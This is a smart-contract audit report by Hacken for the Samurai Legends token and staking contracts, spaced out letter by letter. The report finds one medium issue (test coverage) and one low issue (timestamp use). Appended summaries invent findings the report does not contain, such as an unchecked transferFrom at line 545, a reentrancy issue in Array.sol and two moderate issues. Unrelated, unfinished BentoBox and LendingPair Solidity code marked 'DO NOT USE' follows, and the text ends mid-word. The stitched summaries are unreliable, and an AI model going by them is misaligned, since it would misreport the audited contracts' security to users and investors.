C u s t o m e r : S a m u r a i L e g e n d s D a t e : M a r c h 1 s t , 2 0 2 2 T h i s d o c u m e n t m a y c o n t a i n c o n f i d e n t i a l i n f o r m a t i o n a b o u t I T s y s t e m s a n d t h e i n t e l l e c t u a l p r o p e r t y o f t h e C u s t o m e r a s w e l l a s i n f o r m a t i o n a b o u t p o t e n t i a l v u l n e r a b i l i t i e s a n d m e t h o d s o f t h e i r e x p l o i t a t i o n . T h e r e p o r t c o n t a i n i n g c o n f i d e n t i a l i n f o r m a t i o n c a n b e u s e d i n t e r n a l l y b y t h e C u s t o m e r , o r i t c a n b e d i s c l o s e d p u b l i c l y a f t e r a l l v u l n e r a b i l i t i e s a r e f i x e d — u p o n a d e c i s i o n o f t h e C u s t o m e r . Document N a m e S m a r t C o n t r a c t C o d e R e v i e w a n d S e c u r i t y A n a l y s i s R e p o r t f o r S a m u r a i L e g e n d s . A p p r o v e d b y A n d r e w M a t i u k h i n | C T O H a c k e n O U T y p e B E P 2 0 t o k e n ; S t a k i n g P l a t f o r m B i n a n c e S m a r t C h a i n / S o l i d i t y M e t h o d s A r c h i t e c t u r e R e v i e w , F u n c t i o n a l T e s t i n g , C o m p u t e r - A i d e d V e r i f i c a t i o n , M a n u a l R e v i e w R e p o s i t o r y h t t p s : / / g i t h u b . c o m / S a m u r a i - L e g e n d s / c o n t r a c t _ s a m u r a i - l e g e n d s - t o k e n s C o m m i t a f f 9 f 4 5 1 d f f c 6 8 5 4 f 2 9 3 7 5 a c 2 1 f 8 c e d b a 8 e e 1 1 0 1 D e p l o y e d c o n t r a c t — T e c h n i c a l D o c u m e n t a t i o n Y E S J S t e s t s Y E S W e b s i t e T i m e l i n e 2 6 J A N U A R Y 2 0 2 2 – 2 8 F E B R U A R Y 2 0 2 2 C h a n g e l o g 0 1 F E B R U A R Y 2 0 2 2 – I N I T I A L A U D I T 1 5 F E B R U A R Y 2 0 2 2 – S E C O N D R E V I E W 0 1 M A R C H 2 0 2 2 – T H I R D R E V I E W w w w . h a c k e n . i o Table of contents I n t r o d u c t i o n 4 S c o p e 4 E x e c u t i v e S u m m a r y 5 S e v e r i t y D e f i n i t i o n s 7 A u d i t o v e r v i e w 8 C o n c l u s i o n 8 D i s c l a i m e r s 1 0 w w w . h a c k e n . i o Introduction H a c k e n O Ü ( C o n s u l t a n t ) w a s c o n t r a c t e d b y S a m u r a i L e g e n d s ( C u s t o m e r ) t o c o n d u c t a S m a r t C o n t r a c t C o d e R e v i e w a n d S e c u r i t y A n a l y s i s . T h i s r e p o r t p r e s e n t s t h e f i n d i n g s o f t h e s e c u r i t y a s s e s s m e n t o f t h e C u s t o m e r ' s s m a r t c o n t r a c t a n d i t s c o d e r e v i e w c o n d u c t e d b e t w e e n J a n u a r y 2 6 t h , 2 0 2 2 - F e b r u a r y 1 5 t h , 2 0 2 2 . Scope T h e s c o p e o f t h e p r o j e c t i s s m a r t contracts in the repository: R e p o s i t o r y : h t t p s : / / g i t h u b . c o m / S a m u r a i - L e g e n ds/contract_samurai-legends-tokens C o m m i t : a f f 9 f 4 5 1 d f f c 6 8 5 4 f 2 9 3 7 5 a c 2 1 f 8 c e d b a8ee1101 T e c h n i c a l D o c u m e n t a t i o n : Y e s - t o k e n : h t t p s : / / d o c s . g o o g l e . c o m / d o c u m e n t /d/1xWn-6_e7ikK0ztd8irlur3swIMywQyfEX y R m z I h E x Q 8 / e d i t - s t a k i n g : h t t p s : / / d o c s . g o o g l e . c o m / d o c u m e n t /d/1FeXPZlqH3FQRCNAUV4DtBg-rMqLClyEfE t q D _ _ 7 r 5 K E / e d i t # J S t e s t s : Y e s ( i n c l u d e d i n t h e “ t e s t ” d i r e ctory) C o n t r a c t s : A r r a y . s o l E R C 2 0 W i t h F e e s . s o l G e n e r a t a b l e . s o l K o k u . s o l R e c o v e r a b l e . s o l S a m u r a i L e g e n d s . s o l S a m u r a i L e g e n d s S t a k i n g . s o l w w w . h a c k e n . i o W e h a v e s c a n n e d t h i s s m a r t c o n t r a c t f o r c o m m o n l y k n o w n a n d m o r e s p e c i f i c v u l n e r a b i l i t i e s . H e r e a r e s o m e o f t h e c o m m o n l y k n o w n v u l n e r a b i l i t i e s t h a t a r e c o n s i d e r e d : C a t e g o r y C h e c k I t e m C o d e r e v i e w ▪ R e e n t r a n c y ▪ O w n e r s h i p T a k e o v e r ▪ T i m e s t a m p D e p e n d e n c e ▪ G a s L i m i t a n d L o o p s ▪ D o S w i t h ( U n e x p e c t e d ) T h r o w ▪ D o S w i t h B l o c k G a s L i m i t ▪ T r a n s a c t i o n - O r d e r i n g D e p e n d e n c e ▪ S t y l e g u i d e v i o l a t i o n ▪ C o s t l y L o o p ▪ E R C 2 0 A P I v i o l a t i o n ▪ U n c h e c k e d e x t e r n a l c a l l ▪ U n c h e c k e d m a t h ▪ U n s a f e t y p e i n f e r e n c e ▪ I m p l i c i t v i s i b i l i t y l e v e l ▪ D e p l o y m e n t C o n s i s t e n c y ▪ R e p o s i t o r y C o n s i s t e n c y ▪ D a t a C o n s i s t e n c y F u n c t i o n a l r e v i e w ▪ B u s i n e s s L o g i c s R e v i e w ▪ F u n c t i o n a l i t y C h e c k s ▪ A c c e s s C o n t r o l & A u t h o r i z a t i o n ▪ E s c r o w m a n i p u l a t i o n ▪ T o k e n S u p p l y m a n i p u l a t i o n ▪ A s s e t s i n t e g r i t y ▪ U s e r B a l a n c e s m a n i p u l a t i o n ▪ D a t a C o n s i s t e n c y m a n i p u l a t i o n ▪ K i l l - S w i t c h M e c h a n i s m ▪ O p e r a t i o n T r a i l s & E v e n t G e n e r a t i o n w w w . h a c k e n . i o Executive Summary A c c o r d i n g t o t h e a s s e s s m e n t , t h e Customer's smart contracts are secured. O u r t e a m p e r f o r m e d a n a n a l y s i s o f c o d e f u n c t i o n a l i t y , m a n u a l a u d i t , a n d a u t o m a t e d c h e c k s w i t h M y t h r i l a n d S l i t h e r . A l l i s s u e s f o u n d d u r i n g a u t o m a t e d a n a l y s i s w e r e m a n u a l l y r e v i e w e d , a n d i m p o r t a n t v u l n e r a b i l i t i e s a r e p r e s e n t e d i n t h e A u d i t o v e r v i e w s e c t i o n . A l l f o u n d i s s u e s c a n b e f o u n d i n t h e A u d i t o v e r v i e w s e c t i o n . A s a r e s u l t o f t h e a u d i t , s e c u r i t y e n g i n e e r s f o u n d 1 m e d i u m a n d 1 l o w s e v e r i t y i s s u e . A f t e r t h e s e c o n d r e v i e w s e c u r i t y e n g i n e e r s f o u n d t h a t t h e r e w e r e s o m e r e q u i r e - s t a t e m e n t s r e m o v e d f r o m t h e c o d e a n d t e s t s w e r e s l i g h t l y u p d a t e d . H o w e v e r , t h e c o d e i s s t i l l p o o r l y c o v e r e d b y t e s t s , a n d p a r t o f t h e t e s t s a r e f a i l i n g . S o , f o r n o w , w e s t i ll see 1 m e d i u m a n d 1 l o w s e v e r i t y i s s u e . A f t e r t h e t h i r d r e v i e w s e c u r i t y e n g i n e e r s f o u n d t h a t c o d e c o v e r a g e i s b e t t e r n o w b u t s t i l l t h e r e a r e 1 m e d i u m a n d 1 l o w s e v e r i t y i s s u e . w w w . h a c k e n . i o G r a p h 1 . T h e d i s t r i b u t i o n o f v u l n e r a b i l i t i e s a f t e r t h e a u d i t . w w w . h a c k e n . i o Severity Definitions R i s k L e v e l D e s c r i p t i o n C r i t i c a l C r i t i c a l v u l n e r a b i l i t i e s a r e u s u a l l y s t r a i g h t f o r w a r d t o e x p l o i t a n d c a n l e a d t o a s s e t s l o s s o r d a t a m a n i p u l a t i o n s . H i g h H i g h - l e v e l v u l n e r a b i l i t i e s a r e d i f f i c u l t t o e x p l o i t ; h o w e v e r , t h e y a l s o h a v e a s i g n i f i c a n t i m p a c t o n s m a r t c o n t r a c t e x e c u t i o n , e . g . , p u b l i c a c c e s s t o c r u c i a l f u n c t i o n s M e d i u m M e d i u m - l e v e l v u l n e r a b i l i t i e s a r e i m p o r t a n t t o f i x ; h o w e v e r , t h e y c a n ' t l e a d t o a s s e t s l o s s o r d a t a m a n i p u l a t i o n s . L o w L o w - l e v e l v u l n e r a b i l i t i e s a r e m o s t l y r e l a t e d t o o u t d a t e d , u n u s e d , e t c . c o d e s n i p p e t s t h a t c a n ' t h a v e a s i g n i f i c a n t i m p a c t o n e x e c u t i o n w w w . h a c k e n . i o Audit overview C r i t i c a l N o c r i t i c a l i s s u e s w e r e f o u n d . H i g h N o h i g h i s s u e s w e r e f o u n d . M e d i u m 1 . T o o l o w t e s t c o v e r a g e . T h e t e s t c o v e r a g e i s t o o l o w . F o r e x a m p l e , “ S a m u r a i L e g e n d s S t a k i n g ” i s c o v e r e d o n l y f o r a b o u t 5 6 % o f c o d e b r a n c h e s , w h i c h i s v e r y l o w . “ K o k u ” i s c o v e r e d o n l y f o r 6 9 % . S c o p e : t e s t s R e c o m m e n d a t i o n : P l e a s e i m p r o v e c o d e c o v e r a g e t o b e a t l e a s t 9 5 % f o r s t a t e m e n t s a n d u p t o 1 0 0 % f o r b r anches. S t a t u s : T e s t s c o v e r a g e i n c r e a s e d i n t o t a l 8 7 % f o r s t a t e m e n t s a n d 7 6 % f o r b r a n c h e s . L o w 1 . B l o c k t i m e s t a m p . D a n g e r o u s u s a g e o f b l o c k . t i m e s t a m p . b l o c k . t i m e s t a m p c a n b e m a n i p u l a t e d b y m a l i c i o u s m i n e r s within 15 minutes. C o n t r a c t s : S a m u r a i L e g e n d s S t a k i n g . s o l F u n c t i o n s : u s e r C l a i m a b l e P e n d i n g P e r c e n t a g e , l a s t T i m e R e w a r d A c t i v e A t , r e w a r d P e r T o k e n , w i t h d r a w , w i t h d r a w A l l , c l a i m , a d d R e w a r d , d e c r e a s e R e w a r d , r e s e t R e w a r d , u p d a t e R e w a r d D u r a t i o n R e c o m m e n d a t i o n : P l e a s e c o n s i d e r r e l a t i n g o n t h e b l o c k . n u m b e r i n s t e a d , w w w . h a c k e n . i o Conclusion S m a r t c o n t r a c t s w i t h i n t h e s c o p e w e r e m a n u a l l y r e v i e w e d a n d a n a l y z e d w i t h s t a t i c a n a l y s i s t o o l s . T h e a u d i t r e p o r t c o n t a i n s a l l f o u n d s e c u r i t y v u l n e r a b i l i t i e s a n d o t h e r i s s u e s i n t h e r e v i e w e d c o d e . A s a r e s u l t o f t h e a u d i t , s e c u r i t y e n g i n e e r s f o u n d 1 m e d i u m a n d 1 l o w s e v e r i t y i s s u e . A f t e r t h e s e c o n d r e v i e w s e c u r i t y e n g i n e e r s f o u n d t h a t t h e r e w e r e s o m e r e q u i r e - s t a t e m e n t s r e m o v e d f r o m t h e c o d e a n d t e s t s w e r e s l i g h t l y u p d a t e d . H o w e v e r , t h e c o d e i s s t i l l p o o r l y c o v e r e d b y t e s t s , a n d p a r t o f t h e t e s t s a r e f a i l i n g . S o , f o r n o w , w e s t i ll see 1 m e d i u m a n d 1 l o w s e v e r i t y i s s u e . A f t e r t h e t h i r d r e v i e w s e c u r i t y e n g i n e e r s f o u n d t h a t c o d e c o v e r a g e i s b e t t e r n o w b u t s t i l l t h e r e a r e 1 m e d i u m a n d 1 l o w s e v e r i t y i s s u e . w w w . h a c k e n . i o Disclaimers Hacken Disclaimer T h e s m a r t c o n t r a c t s g i v e n f o r a u d i t h a v e b e e n a n a l y z e d i n a c c o r d a n c e w i t h t h e b e s t i n d u s t r y p r a c t i c e s a t t h e d a t e o f t h i s r e p o r t , i n r e l a t i o n t o c y b e r s e c u r i t y v u l n e r a b i l i t i e s a n d i s s u e s i n s m a r t c o n t r a c t s o u r c e c o d e , t h e d e t a i l s o f w h i c h a r e d i s c l o s e d i n t h i s r e p o r t ( S o u r c e C o d e ) ; t h e S o u r c e C o d e c o m p i l a t i o n , d e p l o y m e n t , a n d f u n c t i o n a l i t y ( p e r f o r m i n g t h e i n t e n d e d f u n c t i o n s ) . T h e a u d i t m a k e s n o s t a t e m e n t s o r w a r r a n t i e s o n t h e s e c u r i t y o f t h e c o d e . I t a l s o c a n n o t b e c o n s i d e r e d a s a s u f f i c i e n t a s s e s s m e n t r e g a r d i n g t h e u t i l i t y a n d s a f e t y o f t h e c o d e , b u g - f r e e s t a t u s , o r a n y o t h e r s t a t e m e n t s o f t h e c o n t r a c t . W h i l e w e h a v e d o n e o u r b e s t i n c o n d u c t i n g t h e a n a l y s i s a n d p r o d u c i n g t h i s r e p o r t , i t i s i m p o r t a n t t o n o t e t h a t y o u s h o u l d n o t r e l y o n t h i s r e p o r t o n l y — w e r e c o m m e n d p r o c e e d i n g w i t h s e v e r a l i n d e p e n d e n t a u d i t s a n d a p u b l i c b u g b o u n t y p r o g r a m to ensure the security of smart contracts. Technical Disclaimer S m a r t c o n t r a c t s a r e d e p l o y e d a n d e x e c u t e d o n a b l o c k c h a i n p l a t f o r m . T h e p l a t f o r m , i t s p r o g r a m m i n g l a n g u a g e , a n d o t h e r s o f t w a r e r e l a t e d t o t h e s m a r t c o n t r a c t c a n h a v e v u l n e r a b i l i t i e s t h a t c a n l e a d t o h a c k s . T h u s , t h e a u d i t c a n ' t g u a r a n t e e t h e e x p l i c i t s e c urity of the audited smart contracts. w w w . h a c k e n . i o
Issues Count of Minor/Moderate/Major/Critical Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues 2.a Problem (one line with code reference): Unchecked return value in the transferFrom function (line 545) 2.b Fix (one line with code reference): Check the return value of the transferFrom function (line 545) Moderate None Major None Critical None Observations The code review and security analysis of the Samurai Legends smart contract was conducted in accordance with the industry best practices. The code was found to be secure and free of any major or critical vulnerabilities. Conclusion The Samurai Legends smart contract was found to be secure and free of any major or critical vulnerabilities. The code was found to be compliant with industry best practices. The minor issues identified were addressed and fixed. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 2 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Reentrancy vulnerability (code reference: Array.sol) 2.b Fix: Use the check-effects-interactions pattern (code reference: Array.sol) Moderate Issues: 3.a Problem: Unchecked external call (code reference: Samurai Legends.sol) 3.b Fix: Use the check-effects-interactions pattern (code reference: Samurai Legends.sol) Observations: • The code was reviewed for commonly known and more specific vulnerabilities. • Functional review was done to check business logic, functionality, access control & authorization, escrow manipulation, token supply manipulation, assets integrity, user balances manipulation, data consistency manipulation, kill-switch mechanism, operation trails & event generation. • JS tests were included in the “test” directory. Conclusion: The code was reviewed for commonly known and more specific vulnerabilities and no major or critical issues were found. The JS tests were included in the “test” directory. Minor and moderate issues were found and Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 1 - Major: 0 - Critical: 0 Moderate - Problem: Poor code coverage by tests and part of the tests are failing (ww.hacken.io) - Fix: Update tests and add require-statements to the code Observations - All issues found during automated analysis were manually reviewed - Security engineers found 1 medium and 1 low severity issue - After the second review, security engineers found that there were some require-statements removed from the code and tests were slightly updated - After the third review, security engineers found that code coverage is better but still there are 1 medium and 1 low severity issue Conclusion The customer's smart contracts are secured. All found issues can be found in the Audit Overview section. As a result of the audit, security engineers found 1 medium and 1 low severity issue.
// SPDX-License-Identifier: MIT // solhint-disable no-inline-assembly // solhint-disable not-rely-on-time pragma solidity 0.6.12; // Data part taken out for building of contracts that receive delegate calls contract ERC20Data { mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping(address => uint256) public nonces; } contract ERC20 is ERC20Data { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function transfer(address to, uint256 amount) public returns (bool success) { require(balanceOf[msg.sender] >= amount, "ERC20: balance too low"); require(balanceOf[to] + amount >= balanceOf[to], "ERC20: overflow detected"); balanceOf[msg.sender] -= amount; balanceOf[to] += amount; emit Transfer(msg.sender, to, amount); return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool success) { require(balanceOf[from] >= amount, "ERC20: balance too low"); require(allowance[from][msg.sender] >= amount, "ERC20: allowance too low"); require(balanceOf[to] + amount >= balanceOf[to], "ERC20: overflow detected"); balanceOf[from] -= amount; allowance[from][msg.sender] -= amount; balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } function approve(address spender, uint256 amount) public returns (bool success) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() public view returns (bytes32){ uint256 chainId; assembly {chainId := chainid()} return keccak256(abi.encode(keccak256("EIP712Domain(uint256 chainId,address verifyingContract)"), chainId, address(this))); } function permit(address owner_, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(owner_ != address(0), "ERC20: Owner cannot be 0"); require(block.timestamp < deadline, "ERC20: Expired"); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256(abi.encode( 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9, owner_, spender, value, nonces[owner_]++, deadline )) )); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress == owner_, "ERC20: Invalid Signature"); allowance[owner_][spender] = value; emit Approval(owner_, spender, value); } } // SPDX-License-Identifier: UNLICENSED // The BentoBox // ▄▄▄▄· ▄▄▄ . ▐ ▄ ▄▄▄▄▄ ▄▄▄▄· ▐▄• ▄ // ▐█ ▀█▪▀▄.▀·•█▌▐█•██ ▪ ▐█ ▀█▪▪ █▌█▌▪ // ▐█▀▀█▄▐▀▀▪▄▐█▐▐▌ ▐█.▪ ▄█▀▄ ▐█▀▀█▄ ▄█▀▄ ·██· // ██▄▪▐█▐█▄▄▌██▐█▌ ▐█▌·▐█▌.▐▌██▄▪▐█▐█▌.▐▌▪▐█·█▌ // ·▀▀▀▀ ▀▀▀ ▀▀ █▪ ▀▀▀ ▀█▄▀▪·▀▀▀▀ ▀█▄▀▪•▀▀ ▀▀ // This contract stores funds, handles their transfers. // Copyright (c) 2020 BoringCrypto - All rights reserved // Twitter: @Boring_Crypto // WARNING!!! DO NOT USE!!! BEING AUDITED!!! // solhint-disable no-inline-assembly // solhint-disable avoid-low-level-calls pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./libraries/BoringMath.sol"; import "./interfaces/IERC20.sol"; import "./interfaces/IWETH.sol"; import "./interfaces/IMasterContract.sol"; contract BentoBox { using BoringMath for uint256; using BoringMath128 for uint128; event LogDeploy(address indexed masterContract, bytes data, address indexed cloneAddress); event LogSetMasterContractApproval(address indexed masterContract, address indexed user, bool indexed approved); event LogDeposit(IERC20 indexed token, address indexed from, address indexed to, uint256 amount); event LogWithdraw(IERC20 indexed token, address indexed from, address indexed to, uint256 amount); event LogTransfer(IERC20 indexed token, address indexed from, address indexed to, uint256 amount); mapping(address => address) public masterContractOf; // Mapping from clone contracts to their masterContract mapping(address => mapping(address => bool)) public masterContractApproved; // masterContract to user to approval state mapping(IERC20 => mapping(address => uint256)) public balanceOf; // Balance per token per address/contract mapping(IERC20 => uint256) public totalSupply; // solhint-disable-next-line var-name-mixedcase IERC20 public immutable WETH; // solhint-disable-next-line var-name-mixedcase constructor(IERC20 WETH_) public { WETH = WETH_; } // Deploys a given master Contract as a clone. function deploy(address masterContract, bytes calldata data) public { bytes20 targetBytes = bytes20(masterContract); // Takes the first 20 bytes of the masterContract's address address cloneAddress; // Address where the clone contract will reside. // Creates clone, more info here: https://blog.openzeppelin.com/deep-dive-into-the-minimal-proxy-contract/ assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) cloneAddress := create(0, clone, 0x37) } masterContractOf[cloneAddress] = masterContract; IMasterContract(cloneAddress).init(data); emit LogDeploy(masterContract, data, cloneAddress); } // *** Public actions *** // function setMasterContractApproval(address masterContract, bool approved) public { require(masterContract != address(0), "BentoBox: masterContract not set"); // Important for security masterContractApproved[masterContract][msg.sender] = approved; emit LogSetMasterContractApproval(masterContract, msg.sender, approved); } modifier allowed(address from) { require(msg.sender == from || masterContractApproved[masterContractOf[msg.sender]][from], "BentoBox: Transfer not approved"); _; } function deposit(IERC20 token, address from, uint256 amount) public payable { depositTo(token, from, msg.sender, amount); } function depositTo(IERC20 token, address from, address to, uint256 amount) public payable allowed(from) { _deposit(token, from, to, amount); } function depositWithPermit(IERC20 token, address from, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public payable { depositWithPermitTo(token, from, msg.sender, amount, deadline, v, r, s); } function depositWithPermitTo( IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public payable allowed(from) { token.permit(from, address(this), amount, deadline, v, r, s); _deposit(token, from, to, amount); } function withdraw(IERC20 token, address to, uint256 amount) public { withdrawFrom(token, msg.sender, to, amount); } function withdrawFrom(IERC20 token, address from, address to, uint256 amount) public allowed(from) { _withdraw(token, from, to, amount); } // *** Approved contract actions *** // // Clones of master contracts can transfer from any account that has approved them function transfer(IERC20 token, address to, uint256 amount) public { transferFrom(token, msg.sender, to, amount); } function transferFrom(IERC20 token, address from, address to, uint256 amount) public allowed(from) { require(to != address(0), "BentoBox: to not set"); // To avoid a bad UI from burning funds balanceOf[token][from] = balanceOf[token][from].sub(amount); balanceOf[token][to] = balanceOf[token][to].add(amount); emit LogTransfer(token, from, to, amount); } function transferMultiple(IERC20 token, address[] calldata tos, uint256[] calldata amounts) public { transferMultipleFrom(token, msg.sender, tos, amounts); } function transferMultipleFrom(IERC20 token, address from, address[] calldata tos, uint256[] calldata amounts) public allowed(from) { require(tos[0] != address(0), "BentoBox: to[0] not set"); // To avoid a bad UI from burning funds uint256 totalAmount; for (uint256 i=0; i < tos.length; i++) { address to = tos[i]; balanceOf[token][to] = balanceOf[token][to].add(amounts[i]); totalAmount = totalAmount.add(amounts[i]); emit LogTransfer(token, from, to, amounts[i]); } balanceOf[token][from] = balanceOf[token][from].sub(totalAmount); } function skim(IERC20 token) public returns (uint256 amount) { amount = skimTo(token, msg.sender); } function skimTo(IERC20 token, address to) public returns (uint256 amount) { require(to != address(0), "BentoBox: to not set"); // To avoid a bad UI from burning funds amount = token.balanceOf(address(this)).sub(totalSupply[token]); balanceOf[token][to] = balanceOf[token][to].add(amount); totalSupply[token] = totalSupply[token].add(amount); emit LogDeposit(token, address(this), to, amount); } function skimETH() public returns (uint256 amount) { amount = skimETHTo(msg.sender); } function skimETHTo(address to) public returns (uint256 amount) { IWETH(address(WETH)).deposit{value: address(this).balance}(); amount = skimTo(WETH, to); } function batch(bytes[] calldata calls, bool revertOnFail) external payable returns(bool[] memory successes, bytes[] memory results) { successes = new bool[](calls.length); results = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); require(success || !revertOnFail, "BentoBox: Transaction failed"); successes[i] = success; results[i] = result; } } // solhint-disable-next-line no-empty-blocks receive() external payable {} // *** Private functions *** // function _deposit(IERC20 token, address from, address to, uint256 amount) private { require(to != address(0), "BentoBox: to not set"); // To avoid a bad UI from burning funds balanceOf[token][to] = balanceOf[token][to].add(amount); uint256 supply = totalSupply[token]; totalSupply[token] = supply.add(amount); if (address(token) == address(WETH)) { IWETH(address(WETH)).deposit{value: amount}(); } else { if (supply == 0) { // During the first deposit, we check that this token is 'real' require(token.totalSupply() > 0, "BentoBox: No tokens"); } (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, address(this), amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BentoBox: TransferFrom failed"); } emit LogDeposit(token, from, to, amount); } function _withdraw(IERC20 token, address from, address to, uint256 amount) private { require(to != address(0), "BentoBox: to not set"); // To avoid a bad UI from burning funds balanceOf[token][from] = balanceOf[token][from].sub(amount); totalSupply[token] = totalSupply[token].sub(amount); if (address(token) == address(WETH)) { IWETH(address(WETH)).withdraw(amount); (bool success,) = to.call{value: amount}(new bytes(0)); require(success, "BentoBox: ETH transfer failed"); } else { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BentoBox: Transfer failed"); } emit LogWithdraw(token, from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol // Edited by BoringCrypto contract OwnableData { address public owner; address public pendingOwner; } contract Ownable is OwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } function transferOwnershipDirect(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: zero address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function claimOwnership() public { require(msg.sender == pendingOwner, "Ownable: caller != pending owner"); emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } }// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./interfaces/ILendingPair.sol"; import "./interfaces/IOracle.sol"; contract BentoHelper { struct PairInfo { ILendingPair pair; IOracle oracle; IBentoBox bentoBox; address masterContract; bool masterContractApproved; IERC20 tokenAsset; IERC20 tokenCollateral; uint256 latestExchangeRate; uint256 lastBlockAccrued; uint256 interestRate; uint256 totalCollateralAmount; uint256 totalAssetAmount; uint256 totalBorrowAmount; uint256 totalAssetFraction; uint256 totalBorrowFraction; uint256 interestPerBlock; uint256 feesPendingAmount; uint256 userCollateralAmount; uint256 userAssetFraction; uint256 userAssetAmount; uint256 userBorrowFraction; uint256 userBorrowAmount; uint256 userAssetBalance; uint256 userCollateralBalance; uint256 userAssetAllowance; uint256 userCollateralAllowance; } function getPairs(address user, ILendingPair[] calldata pairs) public view returns (PairInfo[] memory info) { info = new PairInfo[](pairs.length); for(uint256 i = 0; i < pairs.length; i++) { ILendingPair pair = pairs[i]; info[i].pair = pair; info[i].oracle = pair.oracle(); IBentoBox bentoBox = pair.bentoBox(); info[i].bentoBox = bentoBox; info[i].masterContract = address(pair.masterContract()); info[i].masterContractApproved = bentoBox.masterContractApproved(info[i].masterContract, user); IERC20 asset = pair.asset(); info[i].tokenAsset = asset; IERC20 collateral = pair.collateral(); info[i].tokenCollateral = collateral; (, info[i].latestExchangeRate) = pair.peekExchangeRate(); (info[i].interestPerBlock, info[i].lastBlockAccrued, info[i].feesPendingAmount) = pair.accrueInfo(); info[i].totalCollateralAmount = pair.totalCollateralAmount(); (info[i].totalAssetAmount, info[i].totalAssetFraction ) = pair.totalAsset(); (info[i].totalBorrowAmount, info[i].totalBorrowFraction) = pair.totalBorrow(); info[i].userCollateralAmount = pair.userCollateralAmount(user); info[i].userAssetFraction = pair.balanceOf(user); info[i].userAssetAmount = info[i].totalAssetFraction == 0 ? 0 : info[i].userAssetFraction * info[i].totalAssetAmount / info[i].totalAssetFraction; info[i].userBorrowFraction = pair.userBorrowFraction(user); info[i].userBorrowAmount = info[i].totalBorrowFraction == 0 ? 0 : info[i].userBorrowFraction * info[i].totalBorrowAmount / info[i].totalBorrowFraction; info[i].userAssetBalance = info[i].tokenAsset.balanceOf(user); info[i].userCollateralBalance = info[i].tokenCollateral.balanceOf(user); info[i].userAssetAllowance = info[i].tokenAsset.allowance(user, address(bentoBox)); info[i].userCollateralAllowance = info[i].tokenCollateral.allowance(user, address(bentoBox)); } } } // SPDX-License-Identifier: UNLICENSED // Medium Risk LendingPair // ▄▄▌ ▄▄▄ . ▐ ▄ ·▄▄▄▄ ▪ ▐ ▄ ▄▄ • ▄▄▄· ▄▄▄· ▪ ▄▄▄ // ██• ▀▄.▀·•█▌▐███▪ ██ ██ •█▌▐█▐█ ▀ ▪▐█ ▄█▐█ ▀█ ██ ▀▄ █· // ██▪ ▐▀▀▪▄▐█▐▐▌▐█· ▐█▌▐█·▐█▐▐▌▄█ ▀█▄ ██▀·▄█▀▀█ ▐█·▐▀▀▄ // ▐█▌▐▌▐█▄▄▌██▐█▌██. ██ ▐█▌██▐█▌▐█▄▪▐█▐█▪·•▐█ ▪▐▌▐█▌▐█•█▌ // .▀▀▀ ▀▀▀ ▀▀ █▪▀▀▀▀▀• ▀▀▀▀▀ █▪·▀▀▀▀ .▀ ▀ ▀ ▀▀▀.▀ ▀ // Copyright (c) 2020 BoringCrypto - All rights reserved // Twitter: @Boring_Crypto // Special thanks to: // @burger_crypto - for the idea of trying to let the LPs benefit from liquidations // WARNING!!! DO NOT USE!!! BEING AUDITED!!! // solhint-disable avoid-low-level-calls pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./libraries/BoringMath.sol"; import "./interfaces/IOracle.sol"; import "./Ownable.sol"; import "./ERC20.sol"; import "./interfaces/IMasterContract.sol"; import "./interfaces/ISwapper.sol"; import "./interfaces/IWETH.sol"; // TODO: check all reentrancy paths // TODO: what to do when the entire pool is underwater? // TODO: check that all actions on a users funds can only be initiated by that user as msg.sender contract LendingPair is ERC20, Ownable, IMasterContract { using BoringMath for uint256; using BoringMath128 for uint128; // MasterContract variables IBentoBox public immutable bentoBox; LendingPair public immutable masterContract; address public feeTo; address public dev; mapping(ISwapper => bool) public swappers; // Per clone variables // Clone settings IERC20 public collateral; IERC20 public asset; IOracle public oracle; bytes public oracleData; // User balances mapping(address => uint256) public userCollateralAmount; // userAssetFraction is called balanceOf for ERC20 compatibility mapping(address => uint256) public userBorrowFraction; struct TokenTotals { uint128 amount; uint128 fraction; } // Total 